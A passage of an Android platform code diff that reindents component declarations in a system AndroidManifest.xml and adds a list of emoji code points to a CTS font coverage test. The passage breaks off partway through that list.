- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.ChooseTypeAndAccountActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.ChooseAccountTypeActivity"
- android:excludeFromRecents="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.CantAddAccountActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
- android:process=":ui">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
+ android:process=":ui">
</activity>
<activity android:name="android.accounts.GrantCredentialsPermissionActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.content.SyncActivityTooManyDeletes"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/sync_too_many_deletes"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/sync_too_many_deletes"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.ShutdownActivity"
- android:permission="android.permission.SHUTDOWN"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true">
+ android:permission="android.permission.SHUTDOWN"
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true">
<intent-filter>
<action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3556,9 +3560,9 @@
</activity>
<activity android:name="com.android.internal.app.NetInitiatedActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.SystemUserHomeActivity"
@@ -3575,9 +3579,9 @@
<!-- Activity to prompt user if it's ok to create a new user sandbox for a
specified account. -->
<activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
- android:excludeFromRecents="true"
- android:process=":ui"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+ android:excludeFromRecents="true"
+ android:process=":ui"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
<intent-filter android:priority="1000">
<action android:name="android.os.action.CREATE_USER" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3585,9 +3589,9 @@
</activity>
<activity android:name="com.android.internal.app.UnlaunchableAppActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
@@ -3596,14 +3600,14 @@
</activity>
<receiver android:name="com.android.server.BootReceiver"
- android:systemUserOnly="true">
+ android:systemUserOnly="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:name="com.android.server.updates.CertPinInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_PINS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3611,7 +3615,7 @@
</receiver>
<receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3619,7 +3623,7 @@
</receiver>
<receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3627,7 +3631,7 @@
</receiver>
<receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3635,7 +3639,7 @@
</receiver>
<receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3643,7 +3647,7 @@
</receiver>
<receiver android:name="com.android.server.updates.TzDataInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_TZDATA" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3651,7 +3655,7 @@
</receiver>
<receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_CT_LOGS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3659,7 +3663,7 @@
</receiver>
<receiver android:name="com.android.server.updates.LangIdInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_LANG_ID" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3667,7 +3671,7 @@
</receiver>
<receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3675,7 +3679,7 @@
</receiver>
<receiver android:name="com.android.server.MasterClearReceiver"
- android:permission="android.permission.MASTER_CLEAR">
+ android:permission="android.permission.MASTER_CLEAR">
<intent-filter
android:priority="100" >
<!-- For Checkin, Settings, etc.: action=FACTORY_RESET -->
@@ -3691,12 +3695,12 @@
</receiver>
<service android:name="android.hardware.location.GeofenceHardwareService"
- android:permission="android.permission.LOCATION_HARDWARE"
- android:exported="false" />
+ android:permission="android.permission.LOCATION_HARDWARE"
+ android:exported="false" />
<service android:name="com.android.internal.backup.LocalTransportService"
- android:permission="android.permission.CONFIRM_FULL_BACKUP"
- android:exported="false">
+ android:permission="android.permission.CONFIRM_FULL_BACKUP"
+ android:exported="false">
<intent-filter>
<action android:name="android.backup.TRANSPORT_HOST" />
</intent-filter>
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index bd09474..4f66ee7 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -1216,7 +1216,7 @@
}
@Test
- public void testCoverage() {
+ public void testLanguageCoverage() {
final Paint paint = new Paint();
final String[] localeNames = Resources.getSystem().getStringArray(
Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
@@ -1240,4 +1240,1199 @@
});
}
}
+
+ // All emoji characters in Unicode 10.0/Emoji 5.0
+ private static final int[] ALL_EMOJI = {
+ 0x0023, // NUMBER SIGN
+ 0x002A, // ASTERISK
+ 0x0030, // DIGIT ZERO
+ 0x0031, // DIGIT ONE
+ 0x0032, // DIGIT TWO
+ 0x0033, // DIGIT THREE
+ 0x0034, // DIGIT FOUR
+ 0x0035, // DIGIT FIVE
+ 0x0036, // DIGIT SIX
+ 0x0037, // DIGIT SEVEN
+ 0x0038, // DIGIT EIGHT
+ 0x0039, // DIGIT NINE
+ 0x00A9, // COPYRIGHT SIGN
+ 0x00AE, // REGISTERED SIGN
+ 0x203C, // DOUBLE EXCLAMATION MARK
+ 0x2049, // EXCLAMATION QUESTION MARK
+ 0x2122, // TRADE MARK SIGN
+ 0x2139, // INFORMATION SOURCE
+ 0x2194, // LEFT RIGHT ARROW
+ 0x2195, // UP DOWN ARROW
+ 0x2196, // NORTH WEST ARROW
+ 0x2197, // NORTH EAST ARROW
+ 0x2198, // SOUTH EAST ARROW
+ 0x2199, // SOUTH WEST ARROW
+ 0x21A9, // LEFTWARDS ARROW WITH HOOK
+ 0x21AA, // RIGHTWARDS ARROW WITH HOOK
+ 0x231A, // WATCH
+ 0x231B, // HOURGLASS
+ 0x2328, // KEYBOARD
+ 0x23CF, // EJECT SYMBOL
+ 0x23E9, // BLACK RIGHT-POINTING DOUBLE TRIANGLE
+ 0x23EA, // BLACK LEFT-POINTING DOUBLE TRIANGLE
+ 0x23EB, // BLACK UP-POINTING DOUBLE TRIANGLE
+ 0x23EC, // BLACK DOWN-POINTING DOUBLE TRIANGLE
+ 0x23ED, // BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+ 0x23EE, // BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+ 0x23EF, // BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+ 0x23F0, // ALARM CLOCK
+ 0x23F1, // STOPWATCH
+ 0x23F2, // TIMER CLOCK
+ 0x23F3, // HOURGLASS WITH FLOWING SAND
+ 0x23F8, // DOUBLE VERTICAL BAR
+ 0x23F9, // BLACK SQUARE FOR STOP
+ 0x23FA, // BLACK CIRCLE FOR RECORD
+ 0x24C2, // CIRCLED LATIN CAPITAL LETTER M
+ 0x25AA, // BLACK SMALL SQUARE
+ 0x25AB, // WHITE SMALL SQUARE
+ 0x25B6, // BLACK RIGHT-POINTING TRIANGLE
+ 0x25C0, // BLACK LEFT-POINTING TRIANGLE
+ 0x25FB, // WHITE MEDIUM SQUARE
+ 0x25FC, // BLACK MEDIUM SQUARE
+ 0x25FD, // WHITE MEDIUM SMALL SQUARE
+ 0x25FE, // BLACK MEDIUM SMALL SQUARE
+ 0x2600, // BLACK SUN WITH RAYS
+ 0x2601, // CLOUD
+ 0x2602, // UMBRELLA
+ 0x2603, // SNOWMAN
+ 0x2604, // COMET
+ 0x260E, // BLACK TELEPHONE
+ 0x2611, // BALLOT BOX WITH CHECK
+ 0x2614, // UMBRELLA WITH RAIN DROPS
+ 0x2615, // HOT BEVERAGE
+ 0x2618, // SHAMROCK
+ 0x261D, // WHITE UP POINTING INDEX
+ 0x2620, // SKULL AND CROSSBONES
+ 0x2622, // RADIOACTIVE SIGN
+ 0x2623, // BIOHAZARD SIGN
+ 0x2626, // ORTHODOX CROSS
+ 0x262A, // STAR AND CRESCENT
+ 0x262E, // PEACE SYMBOL
+ 0x262F, // YIN YANG
+ 0x2638, // WHEEL OF DHARMA
+ 0x2639, // WHITE FROWNING FACE
+ 0x263A, // WHITE SMILING FACE
+ 0x2640, // FEMALE SIGN
+ 0x2642, // MALE SIGN
+ 0x2648, // ARIES
+ 0x2649, // TAURUS
+ 0x264A, // GEMINI
+ 0x264B, // CANCER
+ 0x264C, // LEO
+ 0x264D, // VIRGO
+ 0x264E, // LIBRA
+ 0x264F, // SCORPIUS
+ 0x2650, // SAGITTARIUS
+ 0x2651, // CAPRICORN
+ 0x2652, // AQUARIUS
+ 0x2653, // PISCES
+ 0x2660, // BLACK SPADE SUIT
+ 0x2663, // BLACK CLUB SUIT
+ 0x2665, // BLACK HEART SUIT
+ 0x2666, // BLACK DIAMOND SUIT
+ 0x2668, // HOT SPRINGS
+ 0x267B, // BLACK UNIVERSAL RECYCLING SYMBOL
+ 0x267F, // WHEELCHAIR SYMBOL
+ 0x2692, // HAMMER AND PICK
+ 0x2693, // ANCHOR
+ 0x2694, // CROSSED SWORDS
+ 0x2695, // STAFF OF AESCULAPIUS
+ 0x2696, // SCALES
+ 0x2697, // ALEMBIC
+ 0x2699, // GEAR
+ 0x269B, // ATOM SYMBOL
+ 0x269C, // FLEUR-DE-LIS
+ 0x26A0, // WARNING SIGN
+ 0x26A1, // HIGH VOLTAGE SIGN
+ 0x26AA, // MEDIUM WHITE CIRCLE
+ 0x26AB, // MEDIUM BLACK CIRCLE
+ 0x26B0, // COFFIN
+ 0x26B1, // FUNERAL URN
+ 0x26BD, // SOCCER BALL
+ 0x26BE, // BASEBALL
+ 0x26C4, // SNOWMAN WITHOUT SNOW
+ 0x26C5, // SUN BEHIND CLOUD
+ 0x26C8, // THUNDER CLOUD AND RAIN
+ 0x26CE, // OPHIUCHUS
+ 0x26CF, // PICK
+ 0x26D1, // HELMET WITH WHITE CROSS
+ 0x26D3, // CHAINS
+ 0x26D4, // NO ENTRY
+ 0x26E9, // SHINTO SHRINE
+ 0x26EA, // CHURCH
+ 0x26F0, // MOUNTAIN
+ 0x26F1, // UMBRELLA ON GROUND
+ 0x26F2, // FOUNTAIN
+ 0x26F3, // FLAG IN HOLE
+ 0x26F4, // FERRY
+ 0x26F5, // SAILBOAT
+ 0x26F7, // SKIER
+ 0x26F8, // ICE SKATE
+ 0x26F9, // PERSON WITH BALL
+ 0x26FA, // TENT
+ 0x26FD, // FUEL PUMP
+ 0x2702, // BLACK SCISSORS
+ 0x2705, // WHITE HEAVY CHECK MARK
+ 0x2708, // AIRPLANE
+ 0x2709, // ENVELOPE
+ 0x270A, // RAISED FIST
+ 0x270B, // RAISED HAND
+ 0x270C, // VICTORY HAND
+ 0x270D, // WRITING HAND
+ 0x270F, // PENCIL
+ 0x2712, // BLACK NIB
+ 0x2714, // HEAVY CHECK MARK
+ 0x2716, // HEAVY MULTIPLICATION X
+ 0x271D, // LATIN CROSS
+ 0x2721, // STAR OF DAVID
+ 0x2728, // SPARKLES
+ 0x2733, // EIGHT SPOKED ASTERISK
+ 0x2734, // EIGHT POINTED BLACK STAR
+ 0x2744, // SNOWFLAKE
+ 0x2747, // SPARKLE
+ 0x274C, // CROSS MARK
+ 0x274E, // NEGATIVE SQUARED CROSS MARK
+ 0x2753, // BLACK QUESTION MARK ORNAMENT
+ 0x2754, // WHITE QUESTION MARK ORNAMENT
+ 0x2755, // WHITE EXCLAMATION MARK ORNAMENT
+ 0x2757, // HEAVY EXCLAMATION MARK SYMBOL
+ 0x2763, // HEAVY HEART EXCLAMATION MARK ORNAMENT
+ 0x2764, // HEAVY BLACK HEART
+ 0x2795, // HEAVY PLUS SIGN
+ 0x2796, // HEAVY MINUS SIGN
+ 0x2797, // HEAVY DIVISION SIGN
+ 0x27A1, // BLACK RIGHTWARDS ARROW
+ 0x27B0, // CURLY LOOP
+ 0x27BF, // DOUBLE CURLY LOOP
+ 0x2934, // ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+ 0x2935, // ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+ 0x2B05, // LEFTWARDS BLACK ARROW
+ 0x2B06, // UPWARDS BLACK ARROW
+ 0x2B07, // DOWNWARDS BLACK ARROW
+ 0x2B1B, // BLACK LARGE SQUARE
+ 0x2B1C, // WHITE LARGE SQUARE
+ 0x2B50, // WHITE MEDIUM STAR
+ 0x2B55, // HEAVY LARGE CIRCLE
+ 0x3030, // WAVY DASH
+ 0x303D, // PART ALTERNATION MARK
+ 0x3297, // CIRCLED IDEOGRAPH CONGRATULATION
+ 0x3299, // CIRCLED IDEOGRAPH SECRET
+ 0x1F004, // MAHJONG TILE RED DRAGON
+ 0x1F0CF, // PLAYING CARD BLACK JOKER
+ 0x1F170, // NEGATIVE SQUARED LATIN CAPITAL LETTER A
+ 0x1F171, // NEGATIVE SQUARED LATIN CAPITAL LETTER B
+ 0x1F17E, // NEGATIVE SQUARED LATIN CAPITAL LETTER O
+ 0x1F17F, // NEGATIVE SQUARED LATIN CAPITAL LETTER P
+ 0x1F18E, // NEGATIVE SQUARED AB
+ 0x1F191, // SQUARED CL
+ 0x1F192, // SQUARED COOL
+ 0x1F193, // SQUARED FREE
+ 0x1F194, // SQUARED ID
+ 0x1F195, // SQUARED NEW
+ 0x1F196, // SQUARED NG
+ 0x1F197, // SQUARED OK
+ 0x1F198, // SQUARED SOS
+ 0x1F199, // SQUARED UP WITH EXCLAMATION MARK
+ 0x1F19A, // SQUARED VS
+ 0x1F1E6, // REGIONAL INDICATOR SYMBOL LETTER A
+ 0x1F1E7, // REGIONAL INDICATOR SYMBOL LETTER B
+ 0x1F1E8, // REGIONAL INDICATOR SYMBOL LETTER C
+ 0x1F1E9, // REGIONAL INDICATOR SYMBOL LETTER D
+ 0x1F1EA, // REGIONAL INDICATOR SYMBOL LETTER E
+ 0x1F1EB, // REGIONAL INDICATOR SYMBOL LETTER F
+ 0x1F1EC, // REGIONAL INDICATOR SYMBOL LETTER G
+ 0x1F1ED, // REGIONAL INDICATOR SYMBOL LETTER H
+ 0x1F1EE, // REGIONAL INDICATOR SYMBOL LETTER I
+ 0x1F1EF, // REGIONAL INDICATOR SYMBOL LETTER J
+ 0x1F1F0, // REGIONAL INDICATOR SYMBOL LETTER K
+ 0x1F1F1, // REGIONAL INDICATOR SYMBOL LETTER L
+ 0x1F1F2, // REGIONAL INDICATOR SYMBOL LETTER M
+ 0x1F1F3, // REGIONAL INDICATOR SYMBOL LETTER N
+ 0x1F1F4, // REGIONAL INDICATOR SYMBOL LETTER O
+ 0x1F1F5, // REGIONAL INDICATOR SYMBOL LETTER P
+ 0x1F1F6, // REGIONAL INDICATOR SYMBOL LETTER Q
+ 0x1F1F7, // REGIONAL INDICATOR SYMBOL LETTER R
+ 0x1F1F8, // REGIONAL INDICATOR SYMBOL LETTER S
+ 0x1F1F9, // REGIONAL INDICATOR SYMBOL LETTER T
+ 0x1F1FA, // REGIONAL INDICATOR SYMBOL LETTER U
+ 0x1F1FB, // REGIONAL INDICATOR SYMBOL LETTER V
+ 0x1F1FC, // REGIONAL INDICATOR SYMBOL LETTER W
+ 0x1F1FD, // REGIONAL INDICATOR SYMBOL LETTER X
+ 0x1F1FE, // REGIONAL INDICATOR SYMBOL LETTER Y
+ 0x1F1FF, // REGIONAL INDICATOR SYMBOL LETTER Z
+ 0x1F201, // SQUARED KATAKANA KOKO
+ 0x1F202, // SQUARED KATAKANA SA
+ 0x1F21A, // SQUARED CJK UNIFIED IDEOGRAPH-7121
+ 0x1F22F, // SQUARED CJK UNIFIED IDEOGRAPH-6307
+ 0x1F232, // SQUARED CJK UNIFIED IDEOGRAPH-7981
+ 0x1F233, // SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+ 0x1F234, // SQUARED CJK UNIFIED IDEOGRAPH-5408
+ 0x1F235, // SQUARED CJK UNIFIED IDEOGRAPH-6E80
+ 0x1F236, // SQUARED CJK UNIFIED IDEOGRAPH-6709
+ 0x1F237, // SQUARED CJK UNIFIED IDEOGRAPH-6708
+ 0x1F238, // SQUARED CJK UNIFIED IDEOGRAPH-7533
+ 0x1F239, // SQUARED CJK UNIFIED IDEOGRAPH-5272
+ 0x1F23A, // SQUARED CJK UNIFIED IDEOGRAPH-55B6
+ 0x1F250, // CIRCLED IDEOGRAPH ADVANTAGE
+ 0x1F251, // CIRCLED IDEOGRAPH ACCEPT
+ 0x1F300, // CYCLONE
+ 0x1F301, // FOGGY
+ 0x1F302, // CLOSED UMBRELLA
+ 0x1F303, // NIGHT WITH STARS
+ 0x1F304, // SUNRISE OVER MOUNTAINS
+ 0x1F305, // SUNRISE
+ 0x1F306, // CITYSCAPE AT DUSK
+ 0x1F307, // SUNSET OVER BUILDINGS
+ 0x1F308, // RAINBOW
+ 0x1F309, // BRIDGE AT NIGHT
+ 0x1F30A, // WATER WAVE
+ 0x1F30B, // VOLCANO
+ 0x1F30C, // MILKY WAY
+ 0x1F30D, // EARTH GLOBE EUROPE-AFRICA
+ 0x1F30E, // EARTH GLOBE AMERICAS
+ 0x1F30F, // EARTH GLOBE ASIA-AUSTRALIA
+ 0x1F310, // GLOBE WITH MERIDIANS
+ 0x1F311, // NEW MOON SYMBOL
+ 0x1F312, // WAXING CRESCENT MOON SYMBOL
+ 0x1F313, // FIRST QUARTER MOON SYMBOL
+ 0x1F314, // WAXING GIBBOUS MOON SYMBOL
+ 0x1F315, // FULL MOON SYMBOL
+ 0x1F316, // WANING GIBBOUS MOON SYMBOL
+ 0x1F317, // LAST QUARTER MOON SYMBOL
+ 0x1F318, // WANING CRESCENT MOON SYMBOL
+ 0x1F319, // CRESCENT MOON
+ 0x1F31A, // NEW MOON WITH FACE
+ 0x1F31B, // FIRST QUARTER MOON WITH FACE
+ 0x1F31C, // LAST QUARTER MOON WITH FACE
+ 0x1F31D, // FULL MOON WITH FACE
+ 0x1F31E, // SUN WITH FACE
+ 0x1F31F, // GLOWING STAR
+ 0x1F320, // SHOOTING STAR
+ 0x1F321, // THERMOMETER
+ 0x1F324, // WHITE SUN WITH SMALL CLOUD
+ 0x1F325, // WHITE SUN BEHIND CLOUD
+ 0x1F326, // WHITE SUN BEHIND CLOUD WITH RAIN
+ 0x1F327, // CLOUD WITH RAIN
+ 0x1F328, // CLOUD WITH SNOW
+ 0x1F329, // CLOUD WITH LIGHTNING
+ 0x1F32A, // CLOUD WITH TORNADO
+ 0x1F32B, // FOG
+ 0x1F32C, // WIND BLOWING FACE
+ 0x1F32D, // HOT DOG
+ 0x1F32E, // TACO
+ 0x1F32F, // BURRITO
+ 0x1F330, // CHESTNUT
+ 0x1F331, // SEEDLING
+ 0x1F332, // EVERGREEN TREE
+ 0x1F333, // DECIDUOUS TREE
+ 0x1F334, // PALM TREE
+ 0x1F335, // CACTUS
+ 0x1F336, // HOT PEPPER
+ 0x1F337, // TULIP
+ 0x1F338, // CHERRY BLOSSOM
+ 0x1F339, // ROSE
+ 0x1F33A, // HIBISCUS
+ 0x1F33B, // SUNFLOWER
+ 0x1F33C, // BLOSSOM
+ 0x1F33D, // EAR OF MAIZE
+ 0x1F33E, // EAR OF RICE
+ 0x1F33F, // HERB
+ 0x1F340, // FOUR LEAF CLOVER
+ 0x1F341, // MAPLE LEAF
+ 0x1F342, // FALLEN LEAF
+ 0x1F343, // LEAF FLUTTERING IN WIND
+ 0x1F344, // MUSHROOM
+ 0x1F345, // TOMATO
+ 0x1F346, // AUBERGINE
+ 0x1F347, // GRAPES
+ 0x1F348, // MELON
+ 0x1F349, // WATERMELON
+ 0x1F34A, // TANGERINE
+ 0x1F34B, // LEMON
+ 0x1F34C, // BANANA
+ 0x1F34D, // PINEAPPLE
+ 0x1F34E, // RED APPLE
+ 0x1F34F, // GREEN APPLE
+ 0x1F350, // PEAR
+ 0x1F351, // PEACH
+ 0x1F352, // CHERRIES
+ 0x1F353, // STRAWBERRY
+ 0x1F354, // HAMBURGER
+ 0x1F355, // SLICE OF PIZZA
+ 0x1F356, // MEAT ON BONE
+ 0x1F357, // POULTRY LEG
+ 0x1F358, // RICE CRACKER
+ 0x1F359, // RICE BALL
+ 0x1F35A, // COOKED RICE
+ 0x1F35B, // CURRY AND RICE
+ 0x1F35C, // STEAMING BOWL
+ 0x1F35D, // SPAGHETTI
+ 0x1F35E, // BREAD
+ 0x1F35F, // FRENCH FRIES
+ 0x1F360, // ROASTED SWEET POTATO
+ 0x1F361, // DANGO
+ 0x1F362, // ODEN
+ 0x1F363, // SUSHI
+ 0x1F364, // FRIED SHRIMP
+ 0x1F365, // FISH CAKE WITH SWIRL DESIGN
+ 0x1F366, // SOFT ICE CREAM
+ 0x1F367, // SHAVED ICE
+ 0x1F368, // ICE CREAM
+ 0x1F369, // DOUGHNUT
+ 0x1F36A, // COOKIE
+ 0x1F36B, // CHOCOLATE BAR
+ 0x1F36C, // CANDY
+ 0x1F36D, // LOLLIPOP
+ 0x1F36E, // CUSTARD
+ 0x1F36F, // HONEY POT
+ 0x1F370, // SHORTCAKE
+ 0x1F371, // BENTO BOX
+ 0x1F372, // POT OF FOOD
+ 0x1F373, // COOKING
+ 0x1F374, // FORK AND KNIFE
+ 0x1F375, // TEACUP WITHOUT HANDLE
+ 0x1F376, // SAKE BOTTLE AND CUP
+ 0x1F377, // WINE GLASS
+ 0x1F378, // COCKTAIL GLASS
+ 0x1F379, // TROPICAL DRINK
+ 0x1F37A, // BEER MUG
+ 0x1F37B, // CLINKING BEER MUGS
+ 0x1F37C, // BABY BOTTLE
+ 0x1F37D, // FORK AND KNIFE WITH PLATE
+ 0x1F37E, // BOTTLE WITH POPPING CORK
+ 0x1F37F, // POPCORN
+ 0x1F380, // RIBBON
+ 0x1F381, // WRAPPED PRESENT
+ 0x1F382, // BIRTHDAY CAKE
+ 0x1F383, // JACK-O-LANTERN
+ 0x1F384, // CHRISTMAS TREE
+ 0x1F385, // FATHER CHRISTMAS
+ 0x1F386, // FIREWORKS
+ 0x1F387, // FIREWORK SPARKLER
+ 0x1F388, // BALLOON
+ 0x1F389, // PARTY POPPER
+ 0x1F38A, // CONFETTI BALL
+ 0x1F38B, // TANABATA TREE
+ 0x1F38C, // CROSSED FLAGS
+ 0x1F38D, // PINE DECORATION
+ 0x1F38E, // JAPANESE DOLLS
+ 0x1F38F, // CARP STREAMER
+ 0x1F390, // WIND CHIME
+ 0x1F391, // MOON VIEWING CEREMONY
+ 0x1F392, // SCHOOL SATCHEL
+ 0x1F393, // GRADUATION CAP
+ 0x1F396, // MILITARY MEDAL
+ 0x1F397, // REMINDER RIBBON
+ 0x1F399, // STUDIO MICROPHONE
+ 0x1F39A, // LEVEL SLIDER
+ 0x1F39B, // CONTROL KNOBS
+ 0x1F39E, // FILM FRAMES
+ 0x1F39F, // ADMISSION TICKETS
+ 0x1F3A0, // CAROUSEL HORSE
+ 0x1F3A1, // FERRIS WHEEL
+ 0x1F3A2, // ROLLER COASTER
+ 0x1F3A3, // FISHING POLE AND FISH
+ 0x1F3A4, // MICROPHONE
+ 0x1F3A5, // MOVIE CAMERA
+ 0x1F3A6, // CINEMA
+ 0x1F3A7, // HEADPHONE
+ 0x1F3A8, // ARTIST PALETTE
+ 0x1F3A9, // TOP HAT
+ 0x1F3AA, // CIRCUS TENT
+ 0x1F3AB, // TICKET
+ 0x1F3AC, // CLAPPER BOARD
+ 0x1F3AD, // PERFORMING ARTS
+ 0x1F3AE, // VIDEO GAME
+ 0x1F3AF, // DIRECT HIT
+ 0x1F3B0, // SLOT MACHINE
+ 0x1F3B1, // BILLIARDS
+ 0x1F3B2, // GAME DIE
+ 0x1F3B3, // BOWLING
+ 0x1F3B4, // FLOWER PLAYING CARDS
+ 0x1F3B5, // MUSICAL NOTE
+ 0x1F3B6, // MULTIPLE MUSICAL NOTES
+ 0x1F3B7, // SAXOPHONE
+ 0x1F3B8, // GUITAR
+ 0x1F3B9, // MUSICAL KEYBOARD
+ 0x1F3BA, // TRUMPET
+ 0x1F3BB, // VIOLIN
+ 0x1F3BC, // MUSICAL SCORE
+ 0x1F3BD, // RUNNING SHIRT WITH SASH
+ 0x1F3BE, // TENNIS RACQUET AND BALL
+ 0x1F3BF, // SKI AND SKI BOOT
+ 0x1F3C0, // BASKETBALL AND HOOP
+ 0x1F3C1, // CHEQUERED FLAG
+ 0x1F3C2, // SNOWBOARDER
+ 0x1F3C3, // RUNNER
+ 0x1F3C4, // SURFER
+ 0x1F3C5, // SPORTS MEDAL
+ 0x1F3C6, // TROPHY
+ 0x1F3C7, // HORSE RACING
+ 0x1F3C8, // AMERICAN FOOTBALL
+ 0x1F3C9, // RUGBY FOOTBALL
+ 0x1F3CA, // SWIMMER
+ 0x1F3CB, // WEIGHT LIFTER
+ 0x1F3CC, // GOLFER
+ 0x1F3CD, // RACING MOTORCYCLE
+ 0x1F3CE, // RACING CAR
+ 0x1F3CF, // CRICKET BAT AND BALL
+ 0x1F3D0, // VOLLEYBALL
+ 0x1F3D1, // FIELD HOCKEY STICK AND BALL
+ 0x1F3D2, // ICE HOCKEY STICK AND PUCK
+ 0x1F3D3, // TABLE TENNIS PADDLE AND BALL
+ 0x1F3D4, // SNOW CAPPED MOUNTAIN
+ 0x1F3D5, // CAMPING
+ 0x1F3D6, // BEACH WITH UMBRELLA
+ 0x1F3D7, // BUILDING CONSTRUCTION
+ 0x1F3D8, // HOUSE BUILDINGS
+ 0x1F3D9, // CITYSCAPE
+ 0x1F3DA, // DERELICT HOUSE BUILDING
